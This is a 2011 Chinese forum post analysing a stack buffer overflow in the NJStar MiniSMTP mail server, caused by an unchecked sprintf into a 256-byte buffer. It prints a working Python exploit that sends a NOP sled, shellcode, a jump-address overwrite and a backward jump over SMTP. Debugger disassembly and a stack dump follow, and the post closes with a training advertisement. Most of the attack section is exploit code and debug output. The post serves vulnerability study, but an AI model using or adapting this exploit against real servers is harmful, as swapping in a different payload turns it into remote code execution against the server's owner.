[原创]简单分析南极星MiniSMTP缓冲区溢出漏洞
发表于:
2011-11-10 20:44
5828
[原创]简单分析南极星MiniSMTP缓冲区溢出漏洞
软件下载地址:http://www.skycn.com/soft/3068.html
MiniSMTP,位于Njstar Communicator安装目录下。当MiniSMTP收到SMTP命令时,使用sprintf(buff,"Command: %s",strCmd)格式化命令,并显示在UI界面。buff是256字节固定长度,程序中没有对strCmd的长度做检测。当strCmd的长度大于247时,缓冲区溢出,并覆盖函数返回地址。可使用jmp esp, 或push esp,retn等跳板指令可以执行shellcode。
exploit python代码:import socket
HOST = '10.200.97.18' # The remote host
PORT = 25 # The same port as used by the server
#简单的shellcode,程序安静的退出. xp sp2 适用
sh_exitprocess="\x6a\01"+\
"\xb8\x12\xcb\x81\x7c"+\
"\xff\xd0" #nop + shellcode + ret_addr + 向后跳转jmp指令 + "\r\n". 程序以\r\n作为SMTP命令的结束,添加\r\n让程序尽快的触发。
evildata='\x90'*(247-len(sh_exitprocess))+sh_exitprocess+'\x59\x54\xc3\x77'+'\xe9\x09\xff\xff\xff'+"\r\n"
if __name__ == '__main__':
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
print data
s.send(evildata)
data = s.recv(1024)
print data
s.close()
print 'end'
调试代码:
关键函数入口:
004052D0 . 81EC 08030000 sub esp, 308 ; Session thread
004052D6 . 53 push ebx
004052D7 . 55 push ebp
004052D8 . 56 push esi
004052D9 . 8BF1 mov esi, ecx
004052DB . 57 push edi
004052DC . 6A 00 push 0
sub esp, 308 分配临时空间
sprintf 漏洞点:
0040533C . 55 push ebp
0040533D . 8D9424 1C0200>lea edx, dword ptr [esp+21C]
00405344 . 68 DC494100 push 004149DC ; ASCII "Command: %s"
00405349 . 52 push edx
0040534A . FFD3 call ebx ; call sprintf 漏洞点
edx是长度为256字节的栈空间
函数结束,清理临时空间:
00405651 > \5F pop edi
00405652 . 5E pop esi
00405653 . 5D pop ebp
00405654 . 5B pop ebx
00405655 . 81C4 08030000 add esp, 308
0040565B . C3 retn
此时的栈结构如下:
00F1FF44 90909090
00F1FF48 90909090
00F1FF4C 90909090
00F1FF50 90909090
00F1FF54 90909090
00F1FF58 90909090
00F1FF5C 90909090
00F1FF60 6A909090
00F1FF64 CB12B801
00F1FF68 D0FF7C8100F1FF6C 77C35459 msvcrt.77C35459
00F1FF70 FFFF09E9
00F1FF74 000000FF
00F1FF78 00A03CF8
00F1FF7C 00A03CF8
esp指向00F1FF6C 77C35459 msvcrt.77C35459。 程序将跳转到77C35459处执行push esp,retn。此时esp指向的代码是E9 09FFFFFF,是一个jmp指令跳至-247处,执行一串nop指令。
最终执行到shellcode。
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)